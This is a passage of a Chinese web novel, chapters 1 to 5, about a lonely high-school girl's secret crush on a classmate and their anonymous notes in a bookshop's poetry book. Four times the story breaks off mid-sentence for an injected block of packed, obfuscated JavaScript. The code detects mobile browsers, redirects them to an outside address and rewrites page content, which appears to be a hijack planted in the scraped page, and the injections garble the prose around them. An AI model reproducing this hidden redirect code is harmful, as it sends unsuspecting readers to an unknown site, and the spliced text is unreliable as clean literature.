《我在等那一个契机》 1. 01 暗恋就是,我永远在等,等那一个合适的契机,可惜从未等到。 ** 难得的周末,祝瑶却失眠了。雨滴打在窗檐簌簌作响,泛潮的空气从窗户的缝隙钻进来,夹着点闷。 她摸到手机看了眼时间,23点55分。 距离她生日还有5分钟,却丝毫没有兴奋的感觉。 睡意全无,祝瑶索性掀开被子起来,趿拉着拖鞋,恍恍惚惚地给自己倒了杯水,然后去书架上随手取了本书催眠。 她靠在床头,翻开扉页,却陡然发现上面明晃晃写着一个不羁的字母:C. 祝瑶愣了一瞬,下意识手指攥紧。良久,她原封不动地将书放归书架,熄灯,躺上床,闭眼。 雨声渐小,隐隐约约有几声汽车鸣笛突兀传来,告知她城市并未沉睡。 困意消失得比几分钟前还彻底。 此刻是0点整,雨停了,风也寂寥,唯一如萤火般点亮夜色的—— 是她十年如一日的暗恋。 也许,每个人的青春里都出现过一个C姓同学。 他降临的时候,所有凛冽的寒风终止,所有滂沱的大雨骤停,留下的只有艳阳高照的晴天,和夏夜绚烂梦幻的烟火。 对祝瑶来说,那个C同学叫陈逾白。 岁月不居,时间如白马过隙,从指缝中溜走。一晃经年,即便很少刻意想起他,关于他的回忆也没有模糊,反而在脑海中越发清晰。 陈逾白,好久不见啊。 …… 中考结束,祝瑶以全县城第一的成绩考上了南邑一中,报道的时候才得知自己的分数在一中招收的千人里,只能排中下游。在班上,甚至是最后一名。 她当然知道陈逾白。 最开始时,她甚至有点讨厌他。并不刻意针对,只不过——有些人就是天生命好,能轻而易举获得旁人挤破头都够不到的东西,而她却是“旁人”中的一员。这种差异,怎么能不让人讨厌? 1班班主任是个教化学的小老头,有点古板,有些固执,排座位的方式总是那一套:按成绩,高一刚开学自然就是按中考成绩。 陈逾白坐第一组第一排,而祝瑶在第四组最后一排。他们是同班同学,却似乎永远隔着天堑。 从县城考上一中的毕竟极少,大多数都是城区的学生,他们要么是小学同学,要么是初中同学,要么是初中同学的小学同学,反正隔着几层总能牵扯上关系,熟络得很快。 周围人窃窃私语讨论陈逾白,熙熙攘攘,她安静地发呆,觉得自己像一座孤岛。 开学一个月后,她记下了所有同学的名字,但说得上话的,只有前桌女生。 也因此知道了很多关于陈逾白的传闻。譬如他初中就是风云人物,长得帅成绩好;譬如他爱打篮球,曾是校队球员;再譬如他家庭也很好,爸爸是法官,妈妈是一中的语文老师,但不教他们这一届。 这样的人,在祝瑶看来,无疑是天之骄子。真招人嫉妒啊。 他成绩好,有时候老师被一道题卡住时,都会丢下粉笔喊“陈逾白,你来说说思路”,他吊儿郎当站起来说“我不会”,在老师作势砸他粉笔的威胁下,他才改口:“好好好,我会。” 但他并不怎么规规矩矩学习,上历史课写数学卷,上政治课做物理题,被抓到过好几次却死性不改。可他对着老师一笑,老师又轻拿轻放了——这是好学生的待遇。 他爱打篮球,和其他男生没什么区别,最后一节课还剩几分钟,他就开始给同伴打手势递眼神:去占篮筐位置?走? 走。 铃声一响,他窜出门的速度比脱缰的野马还快。 他仿佛和她活在不同的世界,他永远自由,永远热烈,永远有活力;而她每天都觉得好累好疲惫,因为解不出来题,因为做不完作业,因为永远一个人。 总是这样,没有人在意她,没有人需要她。 出生的时候不被需要,因为她是女孩,被爷爷奶奶轻飘飘否决;小时候不被需要,父母吵架,她想拉架却被反锁在房间内听着妈妈忍气吞声哭“不离婚还不是因为孩子”;长大了更不被需要,父母离异后各自组建家庭,都有了新的小孩,而她失去了以她为中心的家。 她觉得自己像那条52赫兹的鲸鱼,因为频率和其他鲸鱼格格不入,所以没有同类能听到她的声音。 好在,她还有个值得骄傲的点:成绩不错。因为这个,父母会关心她,同学会尊重她。 但自从上了高中,她的骄傲就碎了一地。 她苦思冥想做不出的一道物理题,陈逾白扫一眼就知道答案;她花费两个小时做完的数学作业,陈逾白半小时就可以解决;她认认真真完成作文素材积累,而陈逾白根本不做语文作业。 原来她从前成绩不错,也仅仅只是因为她是个努力的笨蛋。 原来不是努力就可以改变天生的差距。 所以她在班上变成了个透明人。 没有同桌,没有朋友。 课代表发作业,会左右张望:“祝瑶,祝瑶是哪个,坐哪儿啊?” 体育课两人一组仰卧起坐,她总是没人帮按腿的那个,体育老师只好强行把她塞到一个两人组里:“你们三个轮着来。” 他们都不是故意为难她的。 只是她运气不好。 于是她开始讨厌光芒万丈的陈逾白,仿佛这样就能给一潭死水的生活带来点波澜,仿佛这样就能给自己找点继续下去的动力。 她的讨厌无声无息、毫无行动,因为他们根本就没说过话,一句也没有。 你看,她就是这般,活该被淹没在人海中。 她那时候假期也不回家。 有什么必要去打扰父母的生活呢? 她给学校打了申请,周末也住宿留校。 校门外的商业街有一家书店,名叫“时间对面”。周末她会呆在那里,一个人从早到晚地看书。闲下来,便会帮着店里的员工搬搬书、做做整理。 老板很年轻,是那种痞痞的帅,她听员工聊起,说他是一中的毕业生,算是她学长。可能也是因着这个缘故,她偶尔帮着干活,竟也能拿些工资,对于那时候的她来说,是笔巨款。 店里有一面书架很特殊,里面的书可以随意拿取阅读,甚至还能往上写批注。 祝瑶最喜欢的是一本名为《春日》的诗集,对比其他书籍,它显得很新很整洁。 她从不批注,直到某一天阅读到了那首诗名被用作书名的诗: 飘散的雪花,若是我的化身, 一定能立即抵达你的眼睛, 再等一等, 樱花盛开之时,我就去见你。 请在那里多驻足会儿, 不要听凛冬嘶鸣, 春日会再次降临。 全篇不说一个“想”字,却都在表达“思念”和“等待”。 祝瑶有了想说点什么的欲望,她提笔在旁自语道:[想念和讨厌,哪一个更永久?] 又一周假期,她再去“时间对面”看书,发现竟有不知名的人给了她回复。 [我猜是想念] 字迹狂妄且嚣张。 鬼使神差地,她在下面回复:[那我猜是讨厌] 看书给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078747|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带来的改变是巨大的,月考语文作文她拿了班里第一,那个“48分”,像一个叉着腰骄傲的小人儿,在她眼里狂舞扭动着证明自己。 语文老师第一次关注到她,征得她同意后印了她的作文发往全班。 然后祝瑶就看见,班上一溜水儿男生瞧都没瞧一眼,直接把印刷纸翻了面当草稿纸用,包括陈逾白。 他真令人讨厌。 出总分和排名的时候,祝瑶再一次被迫承认自己是个普通到再普通不过的人。甚至在一中这个精英汇集的地方,她连普通都算不上。 班主任通知开家长会,她在办公室用座机打电话,妈妈那头传来小孩的哭闹声,没说几句就匆忙挂了电话,爸爸那头干脆就没接。 她不知道,如果成绩还像从前那样拔尖,他们会愿意来吗? 她不敢哭。 她连哭都要找个合适的地方。 可哪有合适的地方呢?教室?食堂?宿舍?哪里都是人。 她压抑了一整天的情绪终于在眼保健操时开始决堤释放。 大家都闭上眼睛了,那就没人会看见了。 放心哭吧。 祝瑶没有抽泣出声,只是借着做操的动作不断擦拭眼角、脸颊的泪水。 揉天应穴,挤按睛明穴,揉四白穴,按太阳穴轮刮眼眶…… 可怎么回事呢?眼泪越擦拭越多,它太神秘了,一滴泪能带出一片汪洋。 正当她觉得喘不上气儿时,耳旁轻轻落下一个声音:“喂。” 虽然没有睁眼,但祝瑶确信,这是对她说的话,因为太近了,声量太小了,似乎只有她能听得见。 她愣住。 她认得这个声音。 她忘了,做眼保健操并不是每个人都会闭眼的,至少那个监督的人不会。 陈逾白是从上个星期被拎出来当督察员的,因为他几次被逮到不做操扣分,他不是个守规矩的人,相反,在很多时候他调皮捣蛋,所以老师干脆让他监督别人。 “别哭啊。”他似乎也很无措,声音很轻,“我没有纸巾。” 祝瑶此时尴尬到无以复加,她不想让别人知道的事,却这么轻易被发现。 可泪水哪是说停就停的,理智根本控制不住。 祝瑶睁开眼睛,一片模糊。 她只看到少年飞起的一片衣角,然后他不知跑到哪里拿了一包抽纸过来,不要钱似的给她抽了一叠。 祝瑶一开始不想接受这叠纸巾,可奈何太丢人了,只好跟着广播里“三二三四,五六七八”的节奏一通乱抹。 视野恢复清明之后,她才看到陈逾白是以何种姿势在跟她说话的。 他蹲在她座位旁,一手轻撑着地面,微仰头,神色有点凝重。 见她停止,才放松下来。 祝瑶觉得自己应该说些什么,解释或是别的什么,总之不能什么都不干。 但没等她组织好语言,他就起身走了,顺带拍了拍手上的灰。 唯一被伤害到的,是那个被他拿了抽纸的男生,在被追骂了一条走廊后,陈逾白再三保证:“给你赔一包新的,两包,三包怎么样?” “你叫一声爹我就不计较了。” 陈逾白摸摸耳朵:“叫什么?没听清。” “爹!” “哎,乖儿子。”陈逾白笑得直不起腰。 陈逾白太讨厌了。 他像春日的一阵风,悄无声息吹过片刻,又不打一声招呼地离开,来无痕迹,去无踪影。仿若刚才的抚慰只是错觉。人能够做的,只有无谓等待,等风再次降临。 祝瑶讨厌陈逾白。 2. 02 周五下午家长会最终还是以无人来开作为结局。 班里的其他人都在收拾桌面抽屉,以防父母的突击检查,祝瑶在看着桌上的月考卷发呆。 “嘿同学,能和你暂时换个位置吗?”一片嘈杂中,突然冒出个清晰的女声。 祝瑶抬头一看,一头利落的短发率先映入眼帘,她当然认得,是班里的学委,叫李千莹,中考成绩是班里第二名,她是陈逾白的同桌。 她心里下意识有些抗拒,并不想答应,因为她已经习惯待在角落不被注意到了。 但稍作犹豫,还是同意了。 即使也许有些小的拒绝别人并不会在意,可是长久的环境影响,还是让她害怕,害怕别人因此不喜欢她,害怕会得罪人。 所以她并没有问为什么,只是很小声地应:“哦,好的。”就这么定下了。 李千莹奇怪地看了她一眼,祝瑶却没有发现,她只是在安安静静地搬东西,默默从最后一排搬到第一排。 陈逾白并不在座位上,也许是去打球了,也许是去参加竞赛辅导了。 一中强制每一个学生至少参加一门竞赛,刚开始,竞赛的阶梯教室里满满当当,但随着难度加深和来自同龄人智商上的碾压,同学们逐渐退出,最终一个年级才能凑出一个小班的人选。 祝瑶就是那个刚上了两节数学竞赛课,就意识到自己此生应该都与这项活动无缘的人,所以早早地就当了逃兵。 有什么办法呢?她连普通高考的内容都学不明白,何谈与天才比肩。 家长们陆陆续续地来了,很多同学都在外面的走廊和连廊上等父母结束会议一起回家,祝瑶逡巡一圈,在他们之间找不到自己可以占有的位置,最终背着书包默默出了校门,来到“时间对面”。 只有在这里,在书籍里,她才可以短暂地找到精神的乌托邦。 这个时间点不算高峰期,店里只有卫老板一个人,他嘴角痞痞地叼着根棒棒糖,不知道的人看他的动作还以为是在抽烟。 惯例使然,祝瑶先翻开了《春日》,不知名的“他”又有了新的回复。 -想念和讨厌,哪一个更永久? -我猜是想念。 -那我猜是讨厌。 -你讨厌谁? 祝瑶灵魂出窍般地写了个“陈”字,笔触一顿,也正是这时,店门口的风铃晃动发出脆响,她一抬头,撞上陈逾白躬身进来时投过的视线。 她手忙脚乱地合上摊开的书,目光顿了一下,还觉不够,又心虚地将它塞回了架子里,随即掏出了月考卷,咬着笔尾算错题。 陈逾白进来后先和卫老板聊了几句,然后四处观察了下,横着手机边打游戏边拉开祝瑶旁边的空椅坐下。 祝瑶往纸上戳着笔,努力集中注意力,想:答案不可能这么奇怪的。她扯过草稿本验算,却一直没找到错误,只能皱眉重复检查。 也不知过了多久。 “还没发现啊?” 祝瑶讷了一下,然后偏头。 陈逾白不知什么时候结束了一局游戏,挑了挑眉,笑得有点欠揍,很散漫地提示:“倒数第四行,抄错数字了。” 祝瑶用力划掉数字,小声说:“谢谢。” “哎,祝瑶。”正将视线挪回到题上,她听到了呼唤,于是再一次偏头,直直撞上他的眼睛。 他很高,这点从他进门时需要弯腰就足以见得。鼻梁高挺,下颌线明晰有棱角,他才十六岁,仍然保留着少年的稚气和青涩。而他的脸上,眼睛绝对是最浓墨重彩的一笔。 那是双不一样的桃花眼,里面窝了汪水,看谁都显得多情,轻易能让人陷进去。 第一次,第一次这个学校里有人叫她,不是以“喂,同学”开头,而是真真切切地叫出了她的全名。她长久以来的像是世界npc的人生,第一次被主角触发不同剧情。 陈逾白慢悠悠地把手机转了半圈,见她神情奇怪,不可思议地笑问:“同学一个多月了,你不会不认识我吧?” 祝瑶抿了下唇,摇摇头,又点点头。 “开玩笑。”他若有所思问,“你怎么一个人在这儿?” 陈逾白当然不会懂,不会懂这么小的一个班集体里也会有小团体,无论是显性的还是隐性的,就像初中是一个班的会在一起玩儿,就像成绩好的都和成绩好的一起玩儿,就像爱打扮的都和漂亮的一起玩,她难以被归为任何一类,所以只能一个人。他不会懂,因为永远都是别人费尽心思追着他跑。 祝瑶言简意赅:“楼里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078748|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太吵了。” “吵得要哭了?” 她心跳猛地一滞,神经一瞬紧绷。 陈逾白大概意识到自己说错话,抬手挠了挠脑袋:“不好意思啊,我是想问那天你为什么……” “因为月考物理没及格,感觉永远学不好了。”祝瑶打断了他,胡诌了一个借口,或许也不算是胡诌,“其实没关系,很快就调整好了,成绩而已,听天由命吧。” “你搞唯心主义啊?”陈逾白和她四目相对,“既然都唯心了,那听什么人命天定,我说天命由心,你就要所有东西为你让步。” 天命由心。 多狂啊。 祝瑶头一次听到这个说法,懵了会儿不知作何反应。 也就是这会儿,门口风铃又响了,跑进来一个抱着篮球的男生,祝瑶知道,那是陈逾白的朋友,江然。 “靠啊你交竞赛卷那么快,一点儿都不管我们死活啊,老师把我们都批了一顿,那叫一个惨字!”江然滔滔不绝了一顿,扭头发现还有女生在,灿然一笑,“你好,你是我们班的……祝瑶是吧?” 她点了点头。 陈逾白松松然拽人,“行了,不是打球吗,走啊。” “你还敢说!大家都在球场等你,结果连你的影子都没见着,还在这儿晃悠,不知道自己去得有多慢?” “一般来说,”陈逾白挑挑眉,大言不惭反驳道,“主角不都是最后才出场吗?” 他忽然歪头,扬着嘴角对着祝瑶微微一笑,“还有三年呢,你说是吧?” “什么三年啊?我今天就把你按在球场摩擦。”江然无语。 陈逾白无所谓地伸出两根手指,松松散散地矗立在他面前,像在比“耶”,语气听起来挺混蛋的:“那你还早两万年。” 他们就这么推推攘攘走了。 祝瑶却听懂了陈逾白的意有所指。 主角不都是最后才出场吗? 现在还不是最后,而仅仅是高中乃至人生的开始。 你是不是最终登场的那个主角,谁也不知道。 你说对吧,祝瑶? 他的话像是有魔力,不断地萦绕在耳边,不论怎样都挥之不去。 陈逾白……好像也不是那么令人讨厌。 3. 03 自那次家长会换座之后,李千莹彷佛发现了一个新奇物种一样,时不时就来围着祝瑶转。 她开始有了一个能说得上话的朋友。 “你怎么像没有脾气一样呢?”李千莹无数次感慨,“这样容易被欺负的,要学会拒绝好吗!” 祝瑶左耳进右耳出,到头来还是讨好型人格。 “所以为什么要和我换座位呢?”祝瑶问,“你家长不喜欢你坐第一排吗?” 李千莹说:“倒也不是,只不过同桌是男生,我妈会疑神疑鬼我早恋,和你换了就是单人单座了,省得她唠叨。” “为什么同桌是男生就……”祝瑶并不太理解家长这种跳跃式的脑回路,明明班里男女混坐挺多的。 “因为我有初中的时候有前科啊。”千莹默了一瞬,哀叹道,“所以就算我不喜欢陈逾白那个类型的,我妈现在还是会不相信。” 前科啊。 李千莹原来有喜欢的人。 她没说是谁,祝瑶也没有问。 只是“不喜欢陈逾白那个类型的”这句话,莫名让她联想到很多有关于他的画面。眼保健操的泪水和纸巾,“天命由心”“主角登场”的不羁言论…… 这些,为什么就记得那样清楚呢。她似乎明白,又似乎不明白。 周末照例去“时间对面”看书,“他”又有了新的回复。 -你讨厌谁? -陈。 -姓陈的你都讨厌?讲点道理啊,其他人多无辜。 祝瑶盯着这回复,有点想笑,也有点不知道怎么解释,兜兜转转最后高冷地回了个“嗯”。 坐实了自己讨厌一切姓“陈”的伪命题。 又是一个月过去,期中考试后,重新按成绩排座位,祝瑶从第四组最后一排默默挪动了第三组第四排,她的努力初见成效。 那还是比较靠后的位置,但有了个同桌,江然,陈逾白的好兄弟。 因为拿了全年级唯一一个数学满分,所以陈逾白的答题卡被老师显摆着全班传阅。 传到祝瑶这里的时候,不知为何,她的平静的心湖泛起了阵阵涟漪。 陈逾白的卷面很整洁,没有多少涂改痕迹,侧面证明这人做题时一气呵成,没进过什么误区。 数学答题,几乎不会出现什么汉字,一路都是数字、字母和符号,所以祝瑶也不知道陈逾白汉字字迹是什么样,直到她有意地翻看到考号、姓名那栏。 陈、逾、白。 连笔很多,到转折处又写得很重,依稀窥得见这个人的酷和拽。 原来他是这么写这三个字的。 那一瞬间,祝瑶像被施法定住了一般,不可置信地陷入恍惚。 这个字迹,这个字迹……这个“陈”字的写法,她明明是见过的…… 她见过,彷佛,好像,应该,是在书店的那本书上。 她脑海中思绪百转千回,又似是被当头一棒。她僵住很久,久到江然凑过来问怎么了,她才如梦初醒。 她匆匆在草稿纸上临摹下他的写法,又趁着晚餐时间,急急忙忙跑到校外的“时间对面”,直奔目标找到《春日》。 莫名其妙的,她突然不太敢翻,做了很久的心理准备,深呼吸后,才打开。 -姓陈的你都讨厌?讲点道理啊,其他人多无辜。 -嗯。 -所以也讨厌陈逾白? 祝瑶从草稿纸上撕下的那一角,那三个字,完美地和回复对上,字迹几乎一模一样。 是陈逾白。 和她匿名对话了好几个月的,一直是陈逾白,从来都是陈逾白。 祝瑶愣在原地。 该怎么回复?还要不要回复? 她不知道。 她心里乱糟糟的。 祝瑶在当下选择了一个在后来认为很荒谬的回复,可在当时,仅仅是逃避:-陈逾白是谁? 陈逾白是谁,她再清楚不过了。 不知什么时候起,祝瑶就不自觉地将目光投落在了他的身上。 她那最后一排的位置可以看到任何一个同学的背影,包括隔着憧憧人影的、遥不可及的陈逾白。 看着看着,有时候就出了神。 他坐姿永远懒懒散散的,书包挂在座位后面似乎随时要掉下来,很多时候他喜欢单手撑着下巴颏儿思考问题,那个姿势、那个角度导致他的后脑勺看起来很圆润和饱满。 他空闲的时候喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078749|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢左手转笔,也有些时候会出意外,笔不慎飞出去,弹到某个倒霉同学的脑门上,于是他就会被讹上。 他运气说差也很差,老师喜欢用希沃白板的抽签系统点人回答问题,他每天至少会被点到一次。若是数理化便还好说,他站起来就“大杀四方”,其他同学则是逃过一劫的庆幸。但若是政治课,老师问诸如“人能不能两次踏进同一条河流”的问题,他就一本正经地胡言乱语。 窗外下雨,他不看雨,她却在看他。 但他从来不回头。 祝瑶曾经以为自己是因为讨厌陈逾白才这么关注他。 但是好奇怪啊,每当这些瞬间发生时,死气沉沉的她,竟然也会跟着笑起来。 她好像找到了新的动力,她说不明白。 每天很早很早地到教室背书,然后在早读铃声即将打响时,见证着陈逾白踩点姗姗来迟;大课间跑操时,从出教室的那一刻起,她就开始计算着依照现在这个队形,她走过他的身旁,需要几秒钟,然后最终面无表情地擦肩而过;她会发现他在食堂吃午餐时有习惯坐的一片区,紧接着她也逐渐习惯了坐在隔着不近不远距离的斜对面;她会在小卖部无数次碰见打完球后的汗涔涔的他,看他随手从货架上拿一盒柠檬维他,然后状若无意地拿下同款,插上吸管轻轻抿一口,喃喃说原来是这个味道;她会成为在晚自习后成为学到最后离开教室的人,目送所有人包括他的背影。在观察陈逾白的过程中,她不小心成为了一个刻苦的学生。 她变了好多。 从前在课堂上回答不出老师的问题,她尴尬又羞愧,而现在,却会第一个想到陈逾白,想他会不会觉得她太笨了,想自己又在他面前丢脸了想下次绝对不能再这样了。 从前她无所谓自己的座位安排,甚至享受自己处于不被关注的角落,现如今却想离第一排近一点,再近一点。 她其实不喜欢上学,可是现在,她好像非常期待来到教室。 她懵懵懂懂了很久的情感,在这一刻第一次得到了青涩的答案。 这就是,暗恋吗? 他在海的另一边,到达他的面前需要一张船票。她看得见海,却没有票,只能一直游,一直游,一直游到对岸。 4. 04 -陈逾白是谁? -你是天外来客吗?下次抬头看看红榜。 -看到了,你和他很熟吗? -还可以吧。 -那你能帮我问他一下这道题怎么解吗,老师说这是竞赛难度。 -怎么不问我?答案,拿走。 这样的“对话”一直持续着,祝瑶保留着一份隐秘不宣的窃喜,不想戳穿,也不愿意让人发现。 每次去书店打开那本书,都像在拆开一份未知的礼物,无论是什么盲盒,都像是惊喜。她看着他臭屁、自恋、耐心,为她见识到其他人不曾见过他的这一面而沾沾自喜。但同时,她也仿若欺骗了别人一般惴惴不安。 高一是整个高中生活里活动最多的阶段,十月底的南邑还停留在夏天的尾巴,仍是暑气难消,运动会正是在这时候召开了。 与传统的刻板印象并不相同,一中的学霸不仅学习厉害,运动、艺术、表演更是样样精通。 报名表传到她这儿的时候,所剩空缺寥寥无几。祝瑶体育本就一般,现今更是轮不到她了。她一眼就看到了表单上的名字。 陈逾白:400米。 祝瑶手指一顿,目光停顿两秒,拾起笔在某栏写上了自己的名字。 ——裁判。 裁判都是由体育老师担当,但人手总有不足,况且跑步计时会有误差,所以要从学生中多招几个志愿者来帮按计时器。 这其实是个吃力不讨好的工作,因为必须全天都待在运动场靠近跑道终点搭的露天裁判台上,需要忍受两天正午刺目的阳光和无遮挡的暴晒,也不能自由走动和围观其他项目,所以愿意干的人很少,女生尤其少。 在运动会正式开始前,祝瑶去体育馆接受了两天裁判培训。 当天,她换上志愿者专属的深蓝色马甲和帽子,高高地坐在裁判台上,隐匿于众多同伴中。 大热天,她还抱着保温杯,一小口一小口灌着热水,也不敢喝多,否则跑卫生间的次数就会变多。她生理期向来不规律,少则十几天来一次,多则几个月,没办法预测,且还腹痛难忍,她没有这种情况应该去医院看的观念,忙碌的母亲也从来没有教过这应该怎么办。 简短的开场结束,首先进入的是方队入场环节。没那么多花里胡哨的,大家穿的都是统一的制服款校服。但即便是这样素,也没有浇灭在场观众的热情。 谁知道呢?也许迎面走来的方阵里就有你爱过的少年。 一班举牌的是李千莹,制服短裙在她身上显得格外高挑,扎的高马尾更是青春洋溢,最让人动容的是她的自信,尤其经过看台某侧时,彷佛是故意要给谁看一样,走得格外昂首挺胸。 祝瑶知道,她是故意走给那位初中时的“前科”同学看的。 她想,如果她能够这么漂亮,如果她能够这么自信就好了。 陈逾白在最后,几乎不需要怎么找,他在人群里就是最显眼的存在,个子本就很高,再加上那浑然天成的松散,就很吸引人。 祝瑶伸手抬了抬额上的帽子,想要看得更清楚些,坐在旁边的女孩子突然开口:“同学,能不能帮我拍张照片?你这个位置拍得更清楚些。” 还没反应过来,ccd已经被递到她手上,女生手一指,“对准那个男生就行,谢谢你啊。” 镜头里的男生双手插着口袋,微微低了低头在听身旁人跟他说话,卓然鹤立。 祝瑶没说得出拒绝的话。 ccd拍照自带一种复古感,她好像是站在未来,看到少年时期的他,意气风发、风华正茂。 “好了吗同学?” 祝瑶收了收心神,“好了。” 可惜啊,相机不属于她,照片不属于她。 “谢谢,你拍得真好,像专业的。”女生赞叹道。 其实她不知道,镜头是有感情的。如果对面是不喜欢的人,即使技术再好,也拍不出他的好。 方阵走完,所有学生就坐到看台上去了,在祝瑶眼中就是个个小点。她这边的工作很忙,只要是田径项目,都需要她凝心聚神,她不敢松懈,很快把注意力集中到赛场上。越临近正午,日头越高,她整个人像是置身在冰火两重天里,一边是腹部的坠痛,一边是烈阳暴晒。 广播提醒400米检录的时候,祝瑶还没有反应过来,直到陈逾白站到一号跑道。 400米,起点即终点,不设初赛,一局定胜负,总裁判老师在提醒:“就跑一圈,差距会比较小,8条赛道,大家一定要集中注意。” 他们这帮志愿者,按照嘱咐,一个人盯一条赛道,其他赛道的人不归自己管。好巧不巧,祝瑶负责的就是一号跑道。 它就在裁判台下面,很近的距离,祝瑶头一次以俯视的视角观察陈逾白……的发旋。 怎么会有男生的头发看起俩这么柔软呢?在阳光下隐隐折射出棕色,像是一颗饱满的栗子。 发令枪响,计时开始。 赛场边围满了观众,在一声声呼喊声中,祝瑶侧头看向直道的尽头——冲过弯道,那一道校服里裹着风的身影格外明显。 仿若她的心也随着那阵风鼓动着。 六道的男生和陈逾白相距很近,两人几乎是同时接近终点,祝瑶不敢松懈,手中紧紧握着计时器,在陈逾白过线那刻,果决地按下。 向主裁判汇报完成绩后,便是午间中场休息了,祝瑶吃不下饭,一瘸一拐地回到教学楼休息。 李千莹不知道从哪儿给她弄来了暖宝宝,见她嘴唇发白得不像样,提议道:“不然下午别去了吧。” “没事,已经好很多了。”祝瑶低声说,“我不去,老师临时也找不到其他人替我,会添麻烦的。” “我替你啊。”李千莹说,“你要是倒在岗位上,才是真的添麻烦。” 很有道理。 在再三感谢之下,祝瑶简单做了培训,下午到达裁判台,又再教了一遍具体流程。 回班级的看台区时,正好听见广播站公告上午400米的成绩。听到第一名的名字,祝瑶愣住,下意识拧了拧眉。 负责六道的志愿者按下的计时竟比她给陈逾白计的快0.1秒。 这不可能。 虽然两位参赛者冲线的时间的确差不多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078750|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是她是离得最近的人,她的注意力也全都在陈逾白身上,不仅仅因为他是她负责的参赛者。所以她比任何人看得都清楚,可以确定是陈逾白是冠军。 看台上,陈逾白正松松散散地靠在看台椅背上,被一小撮人围着:“哎哟陈逾白,惜败惜败啊!” 他其实并不太在意。别看他平时拽得不行,臭屁得彷佛脸上写着“我就是第一”,但真到了没赢过别人的时候,他只会淡定一笑,“承让承让。” 赛场的选手由于太过专注,对别人乃至别人的成绩并没有概念,所以他很平常心地接纳了自己。 可是祝瑶不能。 她返回裁判台,找到主裁判说明了情况,主裁判又找到了负责六道的志愿者询问。 “你怎么证明是我弄错,而不是你看错或者记错时呢?你和陈逾白还是同一个班的,万一帮亲不帮理,我找谁说去?” 这个结果也不是没想到。 0.1秒的误差,连参赛者本人都不在意了,真的要为这斤斤计较吗? 要的。 她也是用0.1秒做了决定。 生平第一次怼人,回过神来,祝瑶觉得好像也没那么难。 对方大概也没料到她这副平淡如水的外表下,竟然也会滋生用“硬气”呵退的波澜。 祝瑶再没多说什么,转头往看台走。 李千莹刚适应新工作,这天的田径比赛几乎就结束了,闲下来,其他几个“同事”开始聊八卦。 “哎,刚坐我旁边那个志愿者被换下去了,听说是因为故意给某个参赛者少计时,放水呢。” “啊?还有这事?怎么被揭穿的啊?” “就上午坐那儿那个姑娘,去最近的看台找人一个个问有没有录视频,找了好几个角度的,细节拼得很完整,锤死了。” “哇塞,她看着文文弱弱的,想不到竟然这么刚。” “是啊,没想到。” “咦,是哪个项目?” “4……” 李千莹八卦听到一半,就见陈逾白拎了一大袋饮料,径直往她这里来,“请你的。” 她一头雾水:“你干嘛?” “李裁判负责一号跑道?” “对啊,怎么了。” 陈逾白:“谢了啊。” 谢……有什么好谢? 正要问清楚,目光一转,瞥到“前科”同学正眼神灼灼地盯着她这边看,她立马放弃追问,接过袋子,大手一挥:“不谢!” 祝瑶忙活了一下午,身体虚得很,直接就回了空无一人的班休息。 千莹过来找她的时候,她正趴着假寐。 “看看这堆里面有什么你能喝的?”李千莹边翻翻找找,边叨叨道,“陈逾白也不知道怎么了,找到裁判台请我喝这些,还说谢谢,像被夺舍了……” 祝瑶睫毛颤动了下,有一瞬想问什么,最后只轻轻润了下嘴唇,“是啊,有点奇怪。” 这样也好。 其实她所做的付出,并没有任何立场。 如果一定要一个立场。 不如由别人给。 5. 05 期末考试后下了第一场雪。 老师在紧锣密鼓地改卷子,学生被强制在教室里自习。 还是语文老师见他们惨兮兮,晚自习的时候大发善心放他们去操场上打雪仗。 那场雪是后来再也没见过的盛大,路面踏出的脚印杂乱无序,像是那时的青春,乱作一团却也最终要有自己去的方向。 放飞天性之后,男生们无所顾忌地抄起班级的簸箕、羽毛球拍,充当铲雪的工具。 偌大的操场上只有零星几盏灯点缀,雪光倒映着,将你追我赶的高中生照出原型。 